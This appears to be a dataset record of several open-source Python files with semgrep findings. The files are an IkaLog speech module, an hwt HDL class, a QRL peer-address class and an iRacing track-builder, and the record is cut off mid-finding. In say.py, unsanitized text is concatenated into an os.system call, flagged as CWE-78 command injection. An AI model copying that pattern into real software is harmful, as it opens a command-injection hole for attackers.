{ "blob_id": "35424c8147c33cbb94ba41f8afde589d6da9dda2", "branch_name": "refs/heads/master", "committer_date": 1466075427000, "content_id": "f1f0fcd57f85c2d456a8c49537392e4a19a0c564", "detected_licenses": [ "Apache-2.0" ], "directory_id": "66e4e79ef7d6265879bf4aeadbbaa988ebcf7881", "extension": "py", "filename": "say.py", "fork_events_count": 0, "gha_created_at": 1444306461000, "gha_event_created_at": 1444306461000, "gha_language": null, "gha_license_id": null, "github_id": 43886075, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2655, "license": "Apache-2.0", "license_type": "permissive", "path": "/ikalog/outputs/osx/say.py", "provenance": "stack-edu-0054.json.gz:569409", "repo_name": "ExceptionError/IkaLog", "revision_date": 1466075427000, "revision_id": "afed2819644e455f0ae5359b836a8ae4182b4b51", "snapshot_id": "53d917a4e4f92e2a2b7249cb85bda30d00a22dac", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/ExceptionError/IkaLog/afed2819644e455f0ae5359b836a8ae4182b4b51/ikalog/outputs/osx/say.py", "visit_date": "2020-12-25T22:07:36.640144" }
2.34375
stackv2
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # IkaLog # ====== # Copyright (C) 2015 ExceptionError # Copyright (C) 2015 Takeshi HASEGAWA # Copyright (C) 2015 AIZAWA Hina # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import os import threading import time from ikalog.constants import * from ikalog.utils import * class SayThread(object): def worker_func(self): while not self._shutdown: if (len(self._msg_queue) == 0): time.sleep(0.1) continue msg = self._msg_queue.pop(0) # FixMe: sanitize the input cmd = 'say ' + msg os.system(cmd) def queue_message(self, msg): self._msg_queue.append(msg) def __init__(self): self._msg_queue = [] self._shutdown = False self.worker_thread = threading.Thread( target=self.worker_func, ) self.worker_thread.daemon = True self.worker_thread.start() class Say(object): def __init__(self): self._say_thread = SayThread() def _say(self, text): # print(text) self._say_thread.queue_message(text) def on_lobby_matching(self, context): self._say('Awaiting at the lobby') def on_lobby_matched(self, context): self._say('The game will start very soon') def on_game_start(self, context): stage_text = IkaUtils.map2text( context['game']['map'], unknown='Splatoon') rule_text = IkaUtils.rule2text(context['game']['rule'], unknown='The') self._say('%(rule)s game starts at %(stage)s' % {'rule': rule_text, 'stage': stage_text}) def on_game_killed(self, context): self._say('Splatted someone!') def on_game_dead(self, context): self._say('You were splatted!') def on_game_death_reason_identified(self, context): reason = context['game']['last_death_reason'] if reason in oob_reasons: self._say('Out ob bound') else: weapon_text = weapons.get(reason, {}).get('en', reason) self._say('%(weapon)s' % {'weapon': weapon_text})
90
28.5
78
16
649
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_6205b8f20cc47167_325198fa", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 36, "line_end": 36, "column_start": 17, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/6205b8f20cc47167.py", "start": {"line": 36, "col": 17, "offset": 984}, "end": {"line": 36, "col": 32, "offset": 999}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_6205b8f20cc47167_fb310c21", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 42, "line_end": 42, "column_start": 13, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/6205b8f20cc47167.py", "start": {"line": 42, "col": 13, "offset": 1150}, "end": {"line": 42, "col": 27, "offset": 1164}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 42 ]
[ 42 ]
[ 13 ]
[ 27 ]
[ "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
say.py
/ikalog/outputs/osx/say.py
ExceptionError/IkaLog
Apache-2.0
2024-11-18T19:11:53.140476+00:00
1,692,795,921,000
36f3c62c8d7a8ff4892cf43c952aecb5418e8f77
2
{ "blob_id": "36f3c62c8d7a8ff4892cf43c952aecb5418e8f77", "branch_name": "refs/heads/master", "committer_date": 1692795921000, "content_id": "40461013541a9328fad0af1f351f5805663d1bf6", "detected_licenses": [ "MIT" ], "directory_id": "f7863c02970118d251846b896ddca4a7dff1066f", "extension": "py", "filename": "assignmentContainer.py", "fork_events_count": 23, "gha_created_at": 1432057547000, "gha_event_created_at": 1596122214000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 35898469, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7084, "license": "MIT", "license_type": "permissive", "path": "/hwt/hdl/statements/assignmentContainer.py", "provenance": "stack-edu-0054.json.gz:569417", "repo_name": "Nic30/hwt", "revision_date": 1692795921000, "revision_id": "0c8e617fa7f56b261607c0acd9c977928e94276d", "snapshot_id": "6fea29e61422ed1c91ad924971b8f8e805d41b88", "src_encoding": "UTF-8", "star_events_count": 166, "url": "https://raw.githubusercontent.com/Nic30/hwt/0c8e617fa7f56b261607c0acd9c977928e94276d/hwt/hdl/statements/assignmentContainer.py", "visit_date": "2023-09-04T06:44:31.103089" }
2.40625
stackv2
from typing import Tuple, List, Dict, Union, Optional, Generator from hwt.doc_markers import internal from hwt.hdl.operatorUtils import replace_input_in_expr from hwt.hdl.sensitivityCtx import SensitivityCtx from hwt.hdl.statements.statement import HdlStatement, SignalReplaceSpecType from hwt.hdl.statements.utils.listOfHdlStatements import ListOfHdlStatement from hwt.hdl.value import HValue from hwt.hdl.valueUtils import isSameHVal, areSameHVals from hwt.pyUtils.uniqList import UniqList from hwt.synthesizer.rtlLevel.mainBases import RtlSignalBase class HdlAssignmentContainer(HdlStatement): """ Assignment container :ivar ~.src: source :ivar ~.dst: destination signal :ivar ~.indexes: description of index selector on dst (list of Index/Slice objects) (f.e. [0, 1] means dst[0][1]) :cvar __instCntr: counter used for generating instance ids :ivar ~._instId: internally used only for intuitive sorting of statements """ _DEEPCOPY_SKIP = (*HdlStatement._DEEPCOPY_SKIP, 'src', 'dst', 'indexes') _DEEPCOPY_SHALLOW_ONLY = (*HdlStatement._DEEPCOPY_SHALLOW_ONLY, "indexes") __instCntr = 0 def __init__(self, src: Union[RtlSignalBase, HValue], dst: RtlSignalBase, indexes: Optional[List[Union[RtlSignalBase, HValue]]]=None, virtual_only=False, parentStm: Optional[HdlStatement]=None, parentStmList: Optional[ListOfHdlStatement]=None, sensitivity: Optional[UniqList]=None, event_dependent_from_branch:Optional[int]=None): """ :param dst: destination to assign to :param src: source which is assigned from :param indexes: description of index selector on dst (list of Index/Slice objects) (f.e. [[0], [1]] means dst[0][1]) :param virtual_only: flag indicates that this assignments is only virtual and should not be added into netlist, because it is only for internal notation """ super(HdlAssignmentContainer, self).__init__( parentStm, parentStmList, sensitivity, event_dependent_from_branch=event_dependent_from_branch) self._instId = HdlAssignmentContainer._nextInstId() self.src = src self.dst = dst assert isinstance(dst, RtlSignalBase), dst self.indexes = indexes self._collect_inputs() if not virtual_only: for i in self._inputs: i.endpoints.append(self) dst.drivers.append(self) dst.ctx.statements.add(self) self._outputs.append(dst) def __deepcopy__(self, memo: dict): result = super(HdlAssignmentContainer, self).__deepcopy__(memo) result.src = self.src result.dst = self.dst result._instId = self._nextInstId() return result @internal def _collect_inputs(self) -> None: src = self.src if isinstance(src, RtlSignalBase): self._inputs.append(src) indexes = self.indexes if indexes: for i in indexes: if isinstance(i, RtlSignalBase): self._inputs.append(i) @internal def _cut_off_drivers_of(self, sig: RtlSignalBase): """ :see: :meth:`hwt.hdl.statements.statement.HdlStatement._cut_off_drivers_of` """ if self._try_cut_off_whole_stm(sig): return self @internal def _discover_enclosure(self) -> None: """ :see: :meth:`hwt.hdl.statements.statement.HdlStatement._discover_enclosure` """ assert self._enclosed_for is None self._enclosed_for = set() self._enclosed_for.update(self._outputs) @internal def _discover_sensitivity(self, seen: set) -> None: """ :see: :meth:`hwt.hdl.statements.statement.HdlStatement._discover_sensitivity` """ assert self._sensitivity is None ctx = self._sensitivity = SensitivityCtx() casualSensitivity = set() for inp in self._inputs: if inp not in seen: seen.add(inp) inp._walk_sensitivity(casualSensitivity, seen, ctx) ctx.extend(casualSensitivity) @internal def _fill_enclosure(self, enclosure: Dict[RtlSignalBase, HdlStatement]): """ The assignment does not have any uncovered code branches :see: :meth:`hwt.hdl.statements.statement.HdlStatement._fill_enclosure` """ pass @internal def _iter_stms(self) -> Generator[HdlStatement, None, None]: """ :see: :meth:`hwt.hdl.statements.statement.HdlStatement._iter_stms` """ return yield @internal def _iter_stms_for_output(self, output: RtlSignalBase) -> Generator[HdlStatement, None, None]: """ :see: :meth:`hwt.hdl.statements.statement.HdlStatement._iter_stms_for_output` """ return yield @internal def _on_parent_event_dependent(self): """ :see: :meth:`hwt.hdl.statements.statement.HdlStatement._on_parent_event_dependent` """ self._event_dependent_from_branch = 0 @internal def _try_reduce(self) -> Tuple[ListOfHdlStatement, bool]: """ :see: :meth:`hwt.hdl.statements.statement.HdlStatement._try_reduce` """ return ListOfHdlStatement((self,)), False @internal def _is_mergable(self, other: HdlStatement) -> bool: """ :see: :meth:`hwt.hdl.statements.statement.HdlStatement._is_mergable` """ return isinstance(other, self.__class__) def isSame(self, other): """ :see: :meth:`hwt.hdl.statements.statement.HdlStatement.isSame` """ if isinstance(other, self.__class__): if isSameHVal(self.dst, other.dst)\ and isSameHVal(self.src, other.src)\ and areSameHVals(self.indexes, other.indexes): return True return False @internal @classmethod def _nextInstId(cls): """ Get next instance id """ i = cls.__instCntr cls.__instCntr += 1 return i @internal def _replace_input_nested(self, topStm: HdlStatement, toReplace: SignalReplaceSpecType) -> None: """ :see: :meth:`hwt.hdl.statements.statement.HdlStatement._replace_input` """ didUpdate = False if self.indexes: new_indexes = [] for ind in self.indexes: new_i, _didUpdate = replace_input_in_expr(topStm, self, ind, toReplace) new_indexes.append(new_i) didUpdate |= _didUpdate self.indexes = new_indexes self.src, _didUpdate = replace_input_in_expr(topStm, self, self.src, toReplace) didUpdate |= _didUpdate if didUpdate: self._replace_input_update_sensitivity_and_inputs(toReplace) return didUpdate
207
33.22
100
17
1,723
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.code-after-unconditional-return_af9236246f7bf9d8_307d14bd", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.code-after-unconditional-return", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "code after return statement will not be executed", "remediation": "", "location": {"file_path": "unknown", "line_start": 134, "line_end": 135, "column_start": 9, "column_end": 14, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.code-after-unconditional-return", "path": "/tmp/tmpb8jm_z1l/af9236246f7bf9d8.py", "start": {"line": 134, "col": 9, "offset": 4753}, "end": {"line": 135, "col": 14, "offset": 4773}, "extra": {"message": "code after return statement will not be executed", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.code-after-unconditional-return_af9236246f7bf9d8_2288b92c", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.code-after-unconditional-return", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "code after return statement will not be executed", "remediation": "", "location": {"file_path": "unknown", "line_start": 142, "line_end": 143, "column_start": 9, "column_end": 14, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.code-after-unconditional-return", "path": "/tmp/tmpb8jm_z1l/af9236246f7bf9d8.py", "start": {"line": 142, "col": 9, "offset": 5006}, "end": {"line": 143, "col": 14, "offset": 5026}, "extra": {"message": "code after return statement will not be executed", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "", "" ]
[ "rules.python.lang.maintainability.code-after-unconditional-return", "rules.python.lang.maintainability.code-after-unconditional-return" ]
[ "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM" ]
[ 134, 142 ]
[ 135, 143 ]
[ 9, 9 ]
[ 14, 14 ]
[ "", "" ]
[ "code after return statement will not be executed", "code after return statement will not be executed" ]
[ 5, 5 ]
[ "", "" ]
[ "", "" ]
assignmentContainer.py
/hwt/hdl/statements/assignmentContainer.py
Nic30/hwt
MIT
2024-11-18T19:11:53.660871+00:00
1,690,911,929,000
b71c48763e8ec2e106216bc4404fcf9c33d33b4a
3
{ "blob_id": "b71c48763e8ec2e106216bc4404fcf9c33d33b4a", "branch_name": "refs/heads/master", "committer_date": 1690911929000, "content_id": "bbc0442bec43a49d60654258f755942082186e23", "detected_licenses": [ "MIT" ], "directory_id": "e70ccd8d27af13e1568e2d1d6f3d918df2b72e3f", "extension": "py", "filename": "IPMetadata.py", "fork_events_count": 215, "gha_created_at": 1476628360000, "gha_event_created_at": 1690911931000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 71055814, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2124, "license": "MIT", "license_type": "permissive", "path": "/src/qrl/core/p2p/IPMetadata.py", "provenance": "stack-edu-0054.json.gz:569422", "repo_name": "theQRL/QRL", "revision_date": 1690911929000, "revision_id": "7600ec054edecc22f0b86b76b8e00f11a161486a", "snapshot_id": "21be76cdea5134ae8f8b83a334f3a569ca85ab14", "src_encoding": "UTF-8", "star_events_count": 462, "url": "https://raw.githubusercontent.com/theQRL/QRL/7600ec054edecc22f0b86b76b8e00f11a161486a/src/qrl/core/p2p/IPMetadata.py", "visit_date": "2023-08-16T23:58:58.566589" }
2.953125
stackv2
from ipaddress import IPv4Address from qrl.core import config class IPMetadata(object): def __init__(self, ip_str: str, port: int): self._ip = ip_str try: self._port = int(port) except ValueError: raise ValueError('Invalid Peer Port {}'.format(port)) self.ip_address = IPv4Address(self._ip) if not (0 < self._port <= 65535): # Validate port number raise ValueError('Invalid Peer Port {}'.format(self)) def __repr__(self): return self.full_address def __hash__(self): return hash(self.__repr__()) def __eq__(self, other): if isinstance(other, IPMetadata): return self._ip == other._ip and self._port == other._port return False def __ne__(self, other): return not self.__eq__(other) def _validate(self): pass @property def full_address(self): return "{}:{}".format(self.ip, self.port) @property def ip(self): return self._ip @property def port(self): return self._port @property def is_global(self): return self.ip_address.is_global @classmethod def from_full_address(cls, full_address: str, check_global=False): parts = full_address.split(':') ip = parts[0] port = config.user.p2p_local_port if check_global: port = config.user.p2p_public_port if len(parts) > 2: raise ValueError('Invalid Peer address') if len(parts) == 2: try: port = int(parts[1]) except ValueError as e: raise ValueError('Invalid Peer Port {} - {}'.format(full_address, str(e))) answer = cls(ip, port) if check_global: if not answer.is_global: # Check for Global IP raise ValueError('Local Peer IP Found {}'.format(full_address)) return answer @staticmethod def canonical_full_address(full_address: str, check_global=False): return IPMetadata.from_full_address(full_address, check_global).full_address
80
25.55
90
19
480
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_cf417c2269581e68_05fabcb0", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_global\" a function or an attribute? If it is a function, you may have meant self.ip_address.is_global() because self.ip_address.is_global is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 51, "line_end": 51, "column_start": 16, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/cf417c2269581e68.py", "start": {"line": 51, "col": 16, "offset": 1146}, "end": {"line": 51, "col": 41, "offset": 1171}, "extra": {"message": "Is \"is_global\" a function or an attribute? If it is a function, you may have meant self.ip_address.is_global() because self.ip_address.is_global is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_cf417c2269581e68_aab5d040", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_global\" a function or an attribute? If it is a function, you may have meant answer.is_global() because answer.is_global is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 73, "line_end": 73, "column_start": 20, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/cf417c2269581e68.py", "start": {"line": 73, "col": 20, "offset": 1805}, "end": {"line": 73, "col": 36, "offset": 1821}, "extra": {"message": "Is \"is_global\" a function or an attribute? If it is a function, you may have meant answer.is_global() because answer.is_global is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "", "" ]
[ "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses" ]
[ "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM" ]
[ 51, 73 ]
[ 51, 73 ]
[ 16, 20 ]
[ 41, 36 ]
[ "", "" ]
[ "Is \"is_global\" a function or an attribute? If it is a function, you may have meant self.ip_address.is_global() because self.ip_address.is_global is always true.", "Is \"is_global\" a function or an attribute? If it is a function, you may have meant answer.is_global() because answer.is_global is always true." ]
[ 5, 5 ]
[ "", "" ]
[ "", "" ]
IPMetadata.py
/src/qrl/core/p2p/IPMetadata.py
theQRL/QRL
MIT
2024-11-18T19:11:53.881204+00:00
1,629,822,416,000
511420c8ecc515a49498ec0b75b8782ddc42c833
2
{ "blob_id": "511420c8ecc515a49498ec0b75b8782ddc42c833", "branch_name": "refs/heads/main", "committer_date": 1629822416000, "content_id": "924afab969048420cb895dba6bcc86550461ca94", "detected_licenses": [ "Apache-2.0" ], "directory_id": "905efe33b2460e3256414f8344362a4bdcd148fb", "extension": "py", "filename": "trackbuilder.py", "fork_events_count": 0, "gha_created_at": 1628018678000, "gha_event_created_at": 1629822417000, "gha_language": "Python", "gha_license_id": "Apache-2.0", "github_id": 392431294, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8304, "license": "Apache-2.0", "license_type": "permissive", "path": "/src/trackbuilder.py", "provenance": "stack-edu-0054.json.gz:569425", "repo_name": "asphaltschneider/ircorners", "revision_date": 1629822416000, "revision_id": "56e04219175ae5b26d6b9c910d59ba4cbf5048fa", "snapshot_id": "1cb2f3a9d28c8d9d4b8938c485f03cf51248374a", "src_encoding": "UTF-8", "star_events_count": 2, "url": "https://raw.githubusercontent.com/asphaltschneider/ircorners/56e04219175ae5b26d6b9c910d59ba4cbf5048fa/src/trackbuilder.py", "visit_date": "2023-07-28T00:26:36.431557" }
2.3125
stackv2
from pynput import keyboard import irsdk import logging import yaml import os import time from threading import Thread SCRIPTNAME = "trackbuilder" CONFIG_FILE = "ircorners.cfg" class State: ir_connected = False current_track_id = -1 current_track_name = "" current_corner = "" corner_list = [] all_track_ids = [] cur_pct = 0 cur_starts_at = 0 cur_ends_at = 0 cur_turn_number = 0 all_turns_list = [] info_displayed = 0 corner_prefix = "T" # initate everything we need for thread safe logging to stdout logger = logging.getLogger(SCRIPTNAME) logger.setLevel(logging.INFO) ch = logging.StreamHandler() ch.setLevel(logging.INFO) # create formatter formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') # add formatter to ch ch.setFormatter(formatter) logger.addHandler(ch) logger.info("---------------------------------------------") logger.info("%s" % (SCRIPTNAME,)) logger.info("---------------------------------------------") file_list = os.listdir() if CONFIG_FILE not in file_list: logger.info("There is no ircorners.cfg config file.") logger.info("Please copy the ircorners_example.cfg to") logger.info("ircorners.cfg and edit it.") logger.info("---------------------------------------------") input("Press return key to end!") exit(0) else: with open(CONFIG_FILE) as fl: config = yaml.load(fl, Loader=yaml.FullLoader) logger.info("config has been read.") logger.info("---------------------------------------------") logger.info("1. start an iRacing test session") logger.info("2. press the '1' key to mark the start of a nameable section") logger.info("3. press the '2' key to mark the end of the nameable section") logger.info("4. after finishing the lap, press the '3' key, to generate the xml") logger.info("---------------------------------------------") def check_iracing(): if state.ir_connected and not (ir.is_initialized and ir.is_connected): state.ir_connected = False # don't forget to reset your State variables state.last_car_setup_tick = -1 # we are shutting down ir library (clearing all internal variables) ir.shutdown() state.info_displayed = 0 logger.info('iRacing - irsdk disconnected') elif not state.ir_connected and ir.startup() and ir.is_initialized and ir.is_connected: state.ir_connected = True logger.info('iRacing - irsdk connected') def iracingworker(stop): logger.info("iRacingWorker - Thread starts") # looping iracing while not stop(): if not state.ir_connected: try: ir.startup() except Exception as e: logger.critical("cannot startup IRSDK: %s" % (e,)) exit(1) try: check_iracing() except Exception as e: logger.critical("iRacingWorker - Exception while checking iracing: %s" % (e,)) # if we are, then process data if state.ir_connected and ir["WeekendInfo"] and ir["SessionInfo"] and ir["DriverInfo"]: ir.freeze_var_buffer_latest() if ir["WeekendInfo"]["TrackID"] != state.current_track_id: state.current_track_id = ir["WeekendInfo"]["TrackID"] state.current_track_name = ir["WeekendInfo"]["TrackName"] if state.info_displayed == 0: logger.info("TrackID: %s Track: %s" % (state.current_track_id, state.current_track_name, )) state.info_displayed = 1 #logger.info("TrackID: %s - Corner: '%s' - Dist: %s - Percent: %s" % (ir["WeekendInfo"]["TrackID"], state.current_corner, ir["LapDist"], float(ir["LapDistPct"]))) state.cur_pct = float(ir["LapDistPct"]) found = 0 #print(state.corner_list) for i in state.corner_list: #logger.info("%s -> %s" % (float(i["starts_at"]), float(i["ends_at"]))) if float(ir["LapDistPct"]) >= float(i["starts_at"]) and float(ir["LapDistPct"]) < float(i["ends_at"]): #logger.info("match.... %s" % (i["name"], )) state.current_corner = i["name"] found = 1 if found == 0: state.current_corner = "" time.sleep(10/60) logger.info("iRacingWorker - Thread ends") def on_press(key): try: k = key.char # single-char keys except: k = key.name # other keys #logger.info("noticed a key press") if k in ['1', '2', '3']: # keys of interest # self.keys.append(k) # store it in global-like variable #print('Key pressed: %s at %s' % (k, state.cur_pct)) if k == '1': logger.info("start part at %s" % (state.cur_pct)) state.cur_starts_at = state.cur_pct state.cur_turn_number += 1 if k == '2': logger.info("end part at %s" % (state.cur_pct)) state.cur_ends_at = state.cur_pct state.all_turns_list.append(' <turn number="%s" starts_at="%s" ends_at="%s" name="%s%s"/>' % (state.cur_turn_number, state.cur_starts_at, state.cur_ends_at, state.corner_prefix, state.cur_turn_number)) #print(' <turn number="%s" starts_at="%s" ends_at="%s" name=""/>' % (state.cur_turn_number, state.cur_starts_at, state.cur_ends_at)) if k == '3': state.all_turns_list.insert(0, '<track>') state.all_turns_list.insert(0, '<!-- %s - %s -->' % (state.current_track_name, state.current_track_id)) state.all_turns_list.insert(0, '<?xml version="1.0" encoding="UTF-8" ?>') state.all_turns_list.append('</track>') for i in state.all_turns_list: print(i) state.cur_turn_number = 0 print("-----------------------------------------------") print("check if xml already exists...") tmp_filename = 'ressources/' + str(state.current_track_id) + '.xml' if os.path.isfile(tmp_filename): print('file already exists: %s' % (tmp_filename)) print('will NOT overwrite file....') print('trying to save a duplicate file to duplicates folder') dupl_number = 1 tmp_dupl_filename = 'duplicates/duplicate_' + str(dupl_number) + '_' + str(state.current_track_id) + '.xml' while os.path.isfile(tmp_dupl_filename): dupl_number += 1 tmp_dupl_filename = 'duplicates/duplicate_' + str(dupl_number) + '_' + str(state.current_track_id) + '.xml' print('will save to %s' % (tmp_dupl_filename)) with open(tmp_dupl_filename, 'w') as f: for i in state.all_turns_list: f.write(i + "\n") f.close() else: print('saving xml as: %s' % (tmp_filename)) with open(tmp_filename, 'w') as f: for i in state.all_turns_list: f.write(i + "\n") f.close() print("writing xml to disc.... done.") state.cur_turn_number = 1 #return False # stop listener; remove this if want more keys if __name__ == "__main__": listener = keyboard.Listener(on_press=on_press) # initialize our State class state = State() # initialize IRSDK try: ir = irsdk.IRSDK(parse_yaml_async=True) logger.info("startup iRacing SDK") except Exception as e: logger.critical("cannot initialize IRSDK: %s" % (e,)) stop_threads = False iRacingThread = Thread(target=iracingworker, args=(lambda: stop_threads, )) iRacingThread.start() listener.start() # start to listen on a separate thread input("any key to end\n") stop_threads = True iRacingThread.join() listener.join() # remove if main thread is polling self.keys logger.info("iRcorner - Programm finished....")
205
39.51
174
21
1,902
python
[{"finding_id": "semgrep_rules.python.lang.correctness.use-sys-exit_fee799e1c7457eb3_3d79000f", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.use-sys-exit", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "remediation": "sys.exit(0)", "location": {"file_path": "unknown", "line_start": 50, "line_end": 50, "column_start": 5, "column_end": 12, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.use-sys-exit", "path": "/tmp/tmpb8jm_z1l/fee799e1c7457eb3.py", "start": {"line": 50, "col": 5, "offset": 1344}, "end": {"line": 50, "col": 12, "offset": 1351}, "extra": {"message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "fix": "sys.exit(0)", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_fee799e1c7457eb3_542da066", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": 